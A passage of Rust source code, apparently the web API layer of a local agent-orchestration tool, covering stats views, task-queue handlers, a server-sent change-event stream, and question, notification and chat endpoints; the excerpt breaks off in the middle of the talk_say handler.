4486#[derive(Debug, Serialize)]
4492struct AdvisorStatsView {
4493 agent: String,
4494 seated: usize,
4495 proposed: usize,
4496 absent: usize,
4497 faint: usize,
4498 strong: usize,
4499 reflection_rate: Option<RateView>,
4500}
4501
4502impl From<&stats::AdvisorStats> for AdvisorStatsView {
4503 fn from(a: &stats::AdvisorStats) -> Self {
4504 Self {
4505 agent: a.agent.clone(),
4506 seated: a.seated,
4507 proposed: a.proposed,
4508 absent: a.absent,
4509 faint: a.faint,
4510 strong: a.strong,
4511 reflection_rate: RateView::of(a.strong, a.proposed),
4512 }
4513 }
4514}
4515
4516#[derive(Debug, Serialize)]
4518struct E2eStatsView {
4519 rounds: usize,
4520 failures: usize,
4521 sole_detections: usize,
4522 deferred: usize,
4523 sole_rate: Option<RateView>,
4524}
4525
4526impl From<&stats::E2eStats> for E2eStatsView {
4527 fn from(e: &stats::E2eStats) -> Self {
4528 Self {
4529 rounds: e.rounds,
4530 failures: e.failures,
4531 sole_detections: e.sole_detections,
4532 deferred: e.deferred,
4533 sole_rate: RateView::of(e.sole_detections, e.failures),
4534 }
4535 }
4536}
4537
4538#[derive(Debug, Serialize)]
4546struct ReleaseBumpStatsView {
4547 merged: usize,
4548 recorded: usize,
4549 pr_opened: usize,
4550 automerge_enabled: usize,
4551 merged_directly: usize,
4552 needs_attention: usize,
4553 clean: usize,
4554 coverage_rate: Option<RateView>,
4555 automerge_rate: Option<RateView>,
4556 attention_rate: Option<RateView>,
4557}
4558
4559impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4560 fn from(b: &stats::ReleaseBumpStats) -> Self {
4561 Self {
4562 merged: b.merged,
4563 recorded: b.recorded,
4564 pr_opened: b.pr_opened,
4565 automerge_enabled: b.automerge_enabled,
4566 merged_directly: b.merged_directly,
4567 needs_attention: b.needs_attention,
4568 clean: b.clean(),
4569 coverage_rate: RateView::of(b.recorded, b.merged),
4570 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4571 attention_rate: RateView::of(b.needs_attention, b.recorded),
4572 }
4573 }
4574}
4575
4576#[derive(Debug, Serialize)]
4578struct TaskCountsView {
4579 queued: usize,
4580 running: usize,
4581 done: usize,
4582 failed: usize,
4583 held: usize,
4584 blocked: usize,
4585}
4586
4587impl From<crate::queue::TaskCounts> for TaskCountsView {
4588 fn from(c: crate::queue::TaskCounts) -> Self {
4589 Self {
4590 queued: c.queued,
4591 running: c.running,
4592 done: c.done,
4593 failed: c.failed,
4594 held: c.held,
4595 blocked: c.blocked,
4596 }
4597 }
4598}
4599
4600#[derive(Debug, Serialize)]
4606struct RepoSummaryView {
4607 repo: String,
4610 name: String,
4612 runs: usize,
4613 completion_rate: Option<RateView>,
4614}
4615
4616impl From<&stats::RepoStats> for RepoSummaryView {
4617 fn from(r: &stats::RepoStats) -> Self {
4618 let t = &r.stats.totals;
4619 Self {
4620 repo: r.repo.to_string_lossy().into_owned(),
4621 name: r.name.clone(),
4622 runs: t.runs,
4623 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4624 }
4625 }
4626}
4627
4628#[derive(Debug, Serialize)]
4634struct StatsView {
4635 totals: StatsTotalsView,
4636 agents: Vec<AgentStatsView>,
4638 reviewers: Vec<ReviewerStatsView>,
4640 advisors: Vec<AdvisorStatsView>,
4642 e2e: E2eStatsView,
4643 release_bumps: ReleaseBumpStatsView,
4644 queue: TaskCountsView,
4645 runs_unreadable: usize,
4655 repos: Vec<RepoSummaryView>,
4659 repo: Option<String>,
4663}
4664
4665#[derive(Debug, Default, Deserialize)]
4674#[serde(default)]
4675struct StatsQuery {
4676 repo: Option<String>,
4677}
4678
4679async fn stats_get(
4686 State(ui): State<Arc<Ui>>,
4687 Query(q): Query<StatsQuery>,
4688) -> ApiResult<Json<StatsView>> {
4689 blocking(move || {
4690 let states: Vec<RunState> = run_ids(&ui.runs)
4691 .into_iter()
4692 .filter_map(|id| read_run(&ui.runs, &id).ok())
4693 .collect();
4694 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4695 .iter()
4696 .map(RepoSummaryView::from)
4697 .collect();
4698 let collected = match &q.repo {
4699 Some(repo) => {
4700 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4701 if filtered.is_empty() {
4702 return Err(ApiError::not_found(format!(
4703 "no runs recorded against repo `{repo}`"
4704 )));
4705 }
4706 stats::collect_refs(filtered)
4707 }
4708 None => stats::collect(&states),
4709 };
4710 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4711 Ok(Json(StatsView {
4712 totals: StatsTotalsView::from(&collected.totals),
4713 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4714 reviewers: collected
4715 .reviewers
4716 .iter()
4717 .map(ReviewerStatsView::from)
4718 .collect(),
4719 advisors: collected
4720 .advisors
4721 .iter()
4722 .map(AdvisorStatsView::from)
4723 .collect(),
4724 e2e: E2eStatsView::from(&collected.e2e),
4725 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4726 queue: TaskCountsView::from(queue_counts),
4727 runs_unreadable: runs_unreadable(&ui.runs),
4728 repos,
4729 repo: q.repo.clone(),
4730 }))
4731 })
4732 .await
4733}
4734
4735#[derive(Debug, Default, Deserialize)]
4738#[serde(default, deny_unknown_fields)]
4739struct HoldBody {
4740 reason: Option<String>,
4741}
4742
4743async fn queue_hold(
4744 State(ui): State<Arc<Ui>>,
4745 Path(id): Path<String>,
4746 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4747) -> ApiResult<Json<TaskView>> {
4748 let body = match body {
4752 Ok(Json(body)) => body,
4753 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4754 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4755 };
4756 let reason = body.reason.filter(|r| !r.trim().is_empty());
4757 mutate(ui, id, move |t| {
4758 t.hold_manual(reason.clone());
4759 Ok(())
4760 })
4761 .await
4762}
4763
4764async fn queue_release(
4765 State(ui): State<Arc<Ui>>,
4766 Path(id): Path<String>,
4767) -> ApiResult<Json<TaskView>> {
4768 mutate(ui, id, |t| {
4769 t.release();
4770 Ok(())
4771 })
4772 .await
4773}
4774
4775#[derive(Debug, Deserialize)]
4777#[serde(deny_unknown_fields)]
4778struct PriorityBody {
4779 priority: i32,
4780}
4781
4782async fn queue_priority(
4788 State(ui): State<Arc<Ui>>,
4789 Path(id): Path<String>,
4790 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4791) -> ApiResult<Json<TaskView>> {
4792 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4793 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4794}
4795
4796#[derive(Debug, Deserialize)]
4798#[serde(deny_unknown_fields)]
4799struct EditBody {
4800 title: String,
4801 instruction: String,
4802 #[serde(default)]
4805 force: bool,
4806}
4807
4808async fn queue_edit(
4812 State(ui): State<Arc<Ui>>,
4813 Path(id): Path<String>,
4814 body: std::result::Result<Json<EditBody>, JsonRejection>,
4815) -> ApiResult<Json<TaskView>> {
4816 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4817 let mut judged: Option<(String, PathBuf)> = None;
4821 if !body.force {
4822 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4823 let (id, text) = (id.clone(), body.instruction.clone());
4824 let (seen, hits) = blocking(move || {
4825 let id = resolve_task(&queue, &id)?;
4826 let t = queue.get(&id)?;
4827 if text == t.instruction {
4828 return Ok((None, Vec::new()));
4829 }
4830 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4831 Ok((Some((t.instruction, t.repo)), hits))
4832 })
4833 .await?;
4834 if let Some((_, repo)) = &seen {
4835 let cfg = crate::config::Config::discover(repo, None)
4836 .ok()
4837 .map(|(c, _)| c);
4838 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4839 .await
4840 .map_err(|dup| {
4841 ApiError::conflict(dup.render(
4842 "Nothing was saved. If it is not a duplicate, repeat the request with \
4843 \"force\": true.",
4844 ))
4845 })?;
4846 }
4847 judged = seen;
4848 }
4849 let force = body.force;
4850 mutate(ui, id, move |t| {
4851 if !force && body.instruction != t.instruction {
4852 match &judged {
4853 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4854 _ => {
4855 anyhow::bail!("the task changed while it was being checked; repeat the request")
4856 }
4857 }
4858 }
4859 t.edit(body.title.clone(), body.instruction.clone())
4860 })
4861 .await
4862}
4863
4864async fn queue_done(
4872 State(ui): State<Arc<Ui>>,
4873 Path(id): Path<String>,
4874) -> ApiResult<Json<TaskView>> {
4875 let home = ui.home.clone();
4876 mutate(ui, id, move |t| {
4877 t.succeed();
4878 crate::daemon::supersede_prior_runs(t, &home);
4886 Ok(())
4887 })
4888 .await
4889}
4890
4891async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4899 blocking(move || {
4900 let id = resolve_task(&ui.queue, &id)?;
4901 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4902 ui.queue
4903 .remove(&id, in_flight, &ui.questions)
4904 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4905 Ok(StatusCode::NO_CONTENT)
4906 })
4907 .await
4908}
4909
4910async fn mutate(
4919 ui: Arc<Ui>,
4920 id: String,
4921 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4922) -> ApiResult<Json<TaskView>> {
4923 blocking(move || {
4924 let id = resolve_task(&ui.queue, &id)?;
4925 let _claim = ui.queue.claim(&id).map_err(|e| {
4930 ApiError::conflict(format!(
4931 "{e:#} - a daemon is running this task, so it cannot be \
4932 changed from here yet"
4933 ))
4934 })?;
4935 let mut task = ui.queue.get(&id)?;
4936 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4937 Ok(dup) => ApiError::conflict(dup.render(
4938 "Nothing was saved. If it is not a duplicate, repeat the request with \
4939 \"force\": true.",
4940 )),
4941 Err(e) => ApiError::bad_request_from(e),
4942 })?;
4943 ui.queue.put(&mut task)?;
4944 Ok(Json(TaskView::from(task)))
4945 })
4946 .await
4947}
4948
4949async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4957 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4958 tokio::spawn(async move {
4959 let mut ticker = tokio::time::interval(POLL);
4960 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4961 let mut stamps: Option<[Stamps; 3]> = None;
4962 loop {
4963 ticker.tick().await;
4966 let state = Arc::clone(&ui);
4967 let revisions = tokio::task::spawn_blocking(move || {
4968 let stamps = [
4969 store_stamps(state.queue.root(), false),
4970 store_stamps(&state.runs, true),
4971 store_stamps(state.talks.root(), false),
4972 ];
4973 let revisions = (
4974 stamps_revision(&stamps[0]),
4975 stamps_revision(&stamps[1]),
4976 state.questions.revision(),
4977 stamps_revision(&stamps[2]),
4978 state.notices.revision(),
4979 state.lock_loop().rev,
4983 );
4984 (revisions, stamps)
4985 })
4986 .await;
4987 let Ok((revisions, next_stamps)) = revisions else {
4988 break;
4989 };
4990 if last == Some(revisions) {
4991 continue;
4992 }
4993 let mut payload = serde_json::json!({
4994 "queue_rev": revisions.0,
4995 "runs_rev": revisions.1,
4996 "questions_rev": revisions.2,
4997 "talks_rev": revisions.3,
4998 "notifications_rev": revisions.4,
4999 "loop_rev": revisions.5,
5000 });
5001 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5002 for (index, (key, rev)) in [
5003 ("queue_delta", base.0),
5004 ("runs_delta", base.1),
5005 ("talks_delta", base.3),
5006 ]
5007 .into_iter()
5008 .enumerate()
5009 {
5010 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5011 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5013 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5014 }
5015 }
5016 }
5017 last = Some(revisions);
5018 stamps = Some(next_stamps);
5019 let Ok(event) = Event::default().event("change").json_data(payload) else {
5021 break;
5022 };
5023 if tx.send(event).await.is_err() {
5024 break;
5025 }
5026 }
5027 });
5028 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5029 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5030}
5031
5032type Stamps = HashMap<String, (u128, u64)>;
5033
5034fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5036 std::fs::read_dir(root)
5037 .into_iter()
5038 .flatten()
5039 .flatten()
5040 .filter_map(|entry| {
5041 let path = if runs {
5042 entry.path().join("run.json")
5043 } else {
5044 entry.path()
5045 };
5046 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5047 return None;
5048 }
5049 let metadata = path.metadata().ok()?;
5050 let modified = metadata
5051 .modified()
5052 .ok()?
5053 .duration_since(std::time::UNIX_EPOCH)
5054 .ok()?;
5055 let id = if runs {
5056 entry.file_name().to_string_lossy().into_owned()
5057 } else {
5058 path.file_stem()?.to_string_lossy().into_owned()
5059 };
5060 Some((id, (modified.as_nanos(), metadata.len())))
5061 })
5062 .collect()
5063}
5064
5065#[derive(Debug, Serialize)]
5066struct Delta {
5067 base: u64,
5068 changed: Vec<String>,
5069 removed: Vec<String>,
5070}
5071
5072fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5073 let mut changed: Vec<_> = next
5074 .iter()
5075 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5076 .map(|(id, _)| id.clone())
5077 .collect();
5078 let mut removed: Vec<_> = previous
5079 .keys()
5080 .filter(|id| !next.contains_key(*id))
5081 .cloned()
5082 .collect();
5083 changed.sort_unstable();
5084 removed.sort_unstable();
5085 Delta {
5086 base,
5087 changed,
5088 removed,
5089 }
5090}
5091
5092fn runs_revision(runs: &FsPath) -> u64 {
5099 stamps_revision(&store_stamps(runs, true))
5100}
5101
5102fn stamps_revision(stamps: &Stamps) -> u64 {
5106 use std::hash::{Hash as _, Hasher as _};
5107 if stamps.is_empty() {
5108 return 0;
5109 }
5110 let mut entries: Vec<_> = stamps.iter().collect();
5111 entries.sort_unstable();
5112 let mut hasher = std::hash::DefaultHasher::new();
5113 entries.hash(&mut hasher);
5114 hasher.finish().max(1)
5115}
5116
5117fn run_ids(runs: &FsPath) -> Vec<String> {
5123 let mut ids: Vec<String> = std::fs::read_dir(runs)
5124 .into_iter()
5125 .flatten()
5126 .flatten()
5127 .filter(|e| e.path().join("run.json").is_file())
5128 .map(|e| e.file_name().to_string_lossy().into_owned())
5129 .collect();
5130 ids.sort_unstable_by(|a, b| b.cmp(a));
5132 ids
5133}
5134
5135fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5137 let path = runs.join(id).join("run.json");
5138 let body =
5139 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5140 let state: RunState =
5141 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5142 run::migrate_schema(state)
5147}
5148
5149#[must_use]
5157pub fn runs_unreadable(runs: &FsPath) -> usize {
5158 run_ids(runs)
5159 .into_iter()
5160 .filter(|id| read_run(runs, id).is_err())
5161 .count()
5162}
5163
5164fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5166 if runs.join(id).join("run.json").is_file() {
5167 return Ok(id.to_owned());
5168 }
5169 pick(run_ids(runs), id, "run")
5170}
5171
5172fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5174 if queue.path_of(id).is_file() {
5175 return Ok(id.to_owned());
5176 }
5177 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5178}
5179
5180#[derive(Debug, Serialize)]
5191struct QuestionView {
5192 #[serde(flatten)]
5193 question: Question,
5194 detail_md: Vec<md::Node>,
5195 thread_bodies_md: Vec<Vec<md::Node>>,
5197 waiting_on_agent: bool,
5207 holder: Option<&'static str>,
5211 deputies_enabled: bool,
5215 run_is_task: bool,
5218}
5219
5220impl QuestionView {
5221 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5225 let base = md::ImageBase::QuestionPanel {
5226 id: question.id.clone(),
5227 };
5228 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5229 Self {
5230 detail_md: md::to_nodes(&question.detail, &base),
5231 thread_bodies_md: question
5232 .thread
5233 .iter()
5234 .map(|t| md::to_nodes(&t.body, &base))
5235 .collect(),
5236 waiting_on_agent: question.waiting_on_agent(),
5237 holder,
5238 deputies_enabled,
5239 run_is_task: question.run_names_task(),
5240 question,
5241 }
5242 }
5243}
5244
5245fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5249 Config::discover(repo, None).ok().map(|(c, _)| c)
5250}
5251
5252fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5254 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5255}
5256
5257fn question_views(
5260 qs: Vec<Question>,
5261 store: &ask::Questions,
5262 load: impl FnOnce() -> Option<Config>,
5263) -> Vec<QuestionView> {
5264 if qs.is_empty() {
5265 return Vec::new();
5266 }
5267 let cfg = load();
5268 qs.into_iter()
5269 .map(|q| {
5270 let on = deputies_enabled(cfg.as_ref(), &q);
5271 QuestionView::of(q, store, on)
5272 })
5273 .collect()
5274}
5275
5276fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5286 if !q.status.open() {
5287 return None;
5288 }
5289 if q.cwd.is_none() && q.deputy.is_none() {
5290 return crate::deputy::kind_of(q).map(|_| "nobody");
5291 }
5292 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5293 Some(_) if q.deputy.is_some() => "deputy",
5294 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5295 Some(_) => "asker",
5296 None => "nobody",
5297 })
5298}
5299
5300async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5306 blocking(move || {
5307 Ok(Json(question_views(
5308 ui.questions.list(),
5309 &ui.questions,
5310 || deputy_config(&ui.repo),
5311 )))
5312 })
5313 .await
5314}
5315
5316async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5319 blocking(move || {
5320 let items = ui.notices.list();
5321 let unread = items.iter().filter(|n| n.unread()).count();
5322 Ok(Json(
5323 serde_json::json!({ "unread": unread, "items": items }),
5324 ))
5325 })
5326 .await
5327}
5328
5329fn notice_error(e: anyhow::Error) -> ApiError {
5330 ApiError::not_found(format!("{e:#}"))
5333}
5334
5335async fn notification_read(
5337 State(ui): State<Arc<Ui>>,
5338 Path(id): Path<String>,
5339) -> ApiResult<Json<Notice>> {
5340 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5341}
5342
5343async fn notification_dismiss(
5345 State(ui): State<Arc<Ui>>,
5346 Path(id): Path<String>,
5347) -> ApiResult<Json<Notice>> {
5348 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5349}
5350
5351async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5353 blocking(move || {
5354 let changed = ui.notices.mark_all_read()?;
5355 Ok(Json(serde_json::json!({ "marked": changed })))
5356 })
5357 .await
5358}
5359
5360#[derive(Debug, Default, Deserialize)]
5366#[serde(default, deny_unknown_fields)]
5367struct NewAnswer {
5368 choice: Option<String>,
5369 text: Option<String>,
5370}
5371
5372async fn question_answer(
5373 State(ui): State<Arc<Ui>>,
5374 Path(id): Path<String>,
5375 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5376) -> ApiResult<Json<QuestionView>> {
5377 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5378 let answer = match (body.choice, body.text) {
5379 (Some(c), None) => Answer::Choice(c),
5380 (None, Some(t)) => Answer::Text(t),
5381 (Some(_), Some(_)) => {
5382 return Err(ApiError::bad_request(
5383 "send either `choice` or `text`, not both",
5384 ));
5385 }
5386 (None, None) => {
5387 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5388 }
5389 };
5390
5391 blocking(move || {
5392 let id = resolve_question(&ui.questions, &id)?;
5393 let q = ui
5394 .questions
5395 .get(&id)
5396 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5397 if !q.status.open() {
5398 return Err(ApiError::conflict(format!(
5402 "question {} is already {}",
5403 q.short(),
5404 q.status.as_str()
5405 )));
5406 }
5407 let (q, ()) = ui
5411 .questions
5412 .update(&q.id, |r| r.answer(answer))
5413 .map_err(ApiError::bad_request_from)?;
5414 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5415 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5416 })
5417 .await
5418}
5419
5420#[derive(Debug, Deserialize)]
5422#[serde(deny_unknown_fields)]
5423struct NewSay {
5424 body: String,
5425}
5426
5427async fn question_say(
5437 State(ui): State<Arc<Ui>>,
5438 Path(id): Path<String>,
5439 body: std::result::Result<Json<NewSay>, JsonRejection>,
5440) -> ApiResult<Json<QuestionView>> {
5441 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5442 blocking(move || {
5443 let id = resolve_question(&ui.questions, &id)?;
5444 let q = ui
5445 .questions
5446 .get(&id)
5447 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5448 if !q.status.open() {
5449 return Err(ApiError::conflict(format!(
5453 "question {} is already {}",
5454 q.short(),
5455 q.status.as_str()
5456 )));
5457 }
5458 let (q, ()) = ui
5461 .questions
5462 .update(&q.id, |r| r.say(body.body))
5463 .map_err(ApiError::bad_request_from)?;
5464 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5465 Ok(Json(QuestionView::of(q, &ui.questions, on)))
5466 })
5467 .await
5468}
5469
5470fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5472 if store.path_of(id).is_file() {
5473 return Ok(id.to_owned());
5474 }
5475 pick(
5476 store.list().into_iter().map(|q| q.id).collect(),
5477 id,
5478 "question",
5479 )
5480}
5481
5482async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5497 blocking(move || {
5498 let id = resolve_question(&ui.questions, &id)?;
5499 let Some(html) = ui.questions.panel_html(&id) else {
5500 return Err(ApiError::not_found(format!("question {id} has no panel")));
5501 };
5502 Ok(panel_response(
5503 "text/html; charset=utf-8",
5504 false,
5505 html.into_bytes(),
5506 ))
5507 })
5508 .await
5509}
5510
5511async fn question_asset(
5539 State(ui): State<Arc<Ui>>,
5540 Path((id, name)): Path<(String, String)>,
5541) -> ApiResult<Response> {
5542 if !crate::ask::valid_asset_name(&name) {
5545 return Err(ApiError::bad_request(format!(
5546 "`{name}` is not a usable asset name"
5547 )));
5548 }
5549 blocking(move || {
5550 let id = resolve_question(&ui.questions, &id)?;
5551 let asset = ui
5552 .questions
5553 .panel_asset(&id, &name)
5554 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5555 let Some(bytes) = asset else {
5556 return Err(ApiError::not_found(format!(
5557 "question {id} has no asset `{name}`"
5558 )));
5559 };
5560 Ok(panel_response(
5561 asset_content_type(&name),
5562 is_svg(&name),
5563 bytes,
5564 ))
5565 })
5566 .await
5567}
5568
5569fn asset_content_type(name: &str) -> &'static str {
5582 match extension(name).as_deref() {
5583 Some("png") => "image/png",
5584 Some("jpg" | "jpeg") => "image/jpeg",
5585 Some("gif") => "image/gif",
5586 Some("webp") => "image/webp",
5587 Some("svg") => "image/svg+xml",
5588 Some("css") => "text/css; charset=utf-8",
5589 Some("txt") => "text/plain; charset=utf-8",
5590 _ => "application/octet-stream",
5591 }
5592}
5593
5594fn is_svg(name: &str) -> bool {
5597 extension(name).as_deref() == Some("svg")
5598}
5599
5600fn extension(name: &str) -> Option<String> {
5602 name.rsplit_once('.')
5603 .map(|(_, ext)| ext.to_ascii_lowercase())
5604}
5605
5606fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5623 let mut res = (
5624 [
5625 (header::CONTENT_TYPE, content_type),
5626 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5627 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5628 (header::REFERRER_POLICY, "no-referrer"),
5629 ],
5630 body,
5631 )
5632 .into_response();
5633 if download {
5634 res.headers_mut().insert(
5635 header::CONTENT_DISPOSITION,
5636 HeaderValue::from_static("attachment"),
5637 );
5638 }
5639 res
5640}
5641
5642#[derive(Debug, Serialize)]
5648struct TalkView {
5649 #[serde(flatten)]
5650 talk: Talk,
5651 turn_bodies_md: Vec<Vec<md::Node>>,
5652 thinking: bool,
5660 context: talk::ContextUsage,
5664}
5665
5666impl TalkView {
5667 fn new(talk: Talk, thinking: bool) -> Self {
5670 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5671 Self::with_config(talk, thinking, cfg.as_ref())
5672 }
5673
5674 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5677 let context = talk::context_usage(&talk, cfg);
5678 let turn_bodies_md = talk
5679 .turns
5680 .iter()
5681 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5682 .collect();
5683 Self {
5684 turn_bodies_md,
5685 thinking,
5686 context,
5687 talk,
5688 }
5689 }
5690}
5691
5692#[derive(Debug, Serialize)]
5697struct TalkDetailView {
5698 #[serde(flatten)]
5699 view: TalkView,
5700 tasks: Vec<TaskView>,
5701 roster: Vec<RosterEntry>,
5704}
5705
5706#[derive(Debug, Serialize)]
5708struct RosterEntry {
5709 id: String,
5710 kind: AgentKind,
5711 runnable: bool,
5713}
5714
5715async fn talks_list(
5720 State(ui): State<Arc<Ui>>,
5721 Query(q): Query<ListQuery>,
5722) -> ApiResult<Json<Vec<TalkView>>> {
5723 blocking(move || {
5724 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5725 Ok(Json(
5726 ui.talks
5727 .list()
5728 .into_iter()
5729 .filter(|talk| q.contains(&talk.id))
5730 .map(|talk| {
5731 let thinking = ui.is_thinking(&talk.id);
5732 let cfg = configs
5733 .entry(talk.repo.clone())
5734 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5735 TalkView::with_config(talk, thinking, cfg.as_ref())
5736 })
5737 .collect(),
5738 ))
5739 })
5740 .await
5741}
5742
5743#[derive(Debug, Default, Deserialize)]
5748#[serde(default)]
5749struct NewTalk {
5750 agent: Option<String>,
5751 repo: Option<PathBuf>,
5752}
5753
5754async fn talk_post(
5757 State(ui): State<Arc<Ui>>,
5758 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5759) -> ApiResult<impl IntoResponse> {
5760 let body = match body {
5764 Ok(Json(body)) => body,
5765 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5766 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5767 };
5768 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5769 let cfg = config_for(&repo).await?;
5770 let view = blocking(move || {
5771 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5772 let thinking = ui.is_thinking(&talk.id);
5773 Ok(TalkView::new(talk, thinking))
5774 })
5775 .await?;
5776 Ok((StatusCode::CREATED, Json(view)))
5777}
5778
5779async fn talk_detail(
5781 State(ui): State<Arc<Ui>>,
5782 Path(id): Path<String>,
5783) -> ApiResult<Json<TalkDetailView>> {
5784 blocking(move || {
5785 let id = resolve_talk(&ui.talks, &id)?;
5786 let talk = ui.talks.get(&id)?;
5787 let thinking = ui.is_thinking(&talk.id);
5788 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5789 .into_iter()
5790 .map(TaskView::from)
5791 .collect();
5792 let roster = Config::discover(&talk.repo, None)
5793 .map(|(cfg, _)| {
5794 cfg.agents
5795 .iter()
5796 .map(|a| RosterEntry {
5797 id: a.id.clone(),
5798 kind: a.kind,
5799 runnable: agent::installed(a),
5800 })
5801 .collect()
5802 })
5803 .unwrap_or_default();
5804 Ok(Json(TalkDetailView {
5805 view: TalkView::new(talk, thinking),
5806 tasks,
5807 roster,
5808 }))
5809 })
5810 .await
5811}
5812
5813#[derive(Debug, Default, Deserialize)]
5819#[serde(default, deny_unknown_fields)]
5820struct NewTalkTurn {
5821 text: String,
5822 attachments: Vec<String>,
5823}
5824
5825#[derive(Debug, Deserialize)]
5826#[serde(deny_unknown_fields)]
5827struct EditTalkPending {
5828 text: String,
5829 expected_text: String,
5830 expected_attachments: Vec<String>,
5831}
5832
5833#[derive(Debug, Deserialize)]
5834#[serde(deny_unknown_fields)]
5835struct ClearTalkPending {
5836 expected_text: String,
5837 expected_attachments: Vec<String>,
5838}
5839
5840async fn talk_say(
5852 State(ui): State<Arc<Ui>>,
5853 Path(id): Path<String>,
5854 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5855) -> ApiResult<(StatusCode, Json<TalkView>)> {
5856 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5857 if body.text.trim().is_empty() && body.attachments.is_empty() {
5858 return Err(ApiError::bad_request("say something"));
5859 }
5860
5861 let id = {
5862 let ui = Arc::clone(&ui);
5863 let asked = id.clone();
5864 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5865 };
5866 {
5870 let ui = Arc::clone(&ui);
5871 let id = id.clone();
5872 blocking(move || {
5873 let talk = ui.talks.get(&id)?;
5874 if !talk.status.open() {
5875 return Err(ApiError::conflict(format!(
5876 "talk {} is {} and takes no more turns",
5877 talk.short(),
5878 talk.status.as_str()
5879 )));
5880 }
5881 Ok(())
5882 })
5883 .await?;
5884 }
5885
5886 let attachments = {
5891 let ui = Arc::clone(&ui);
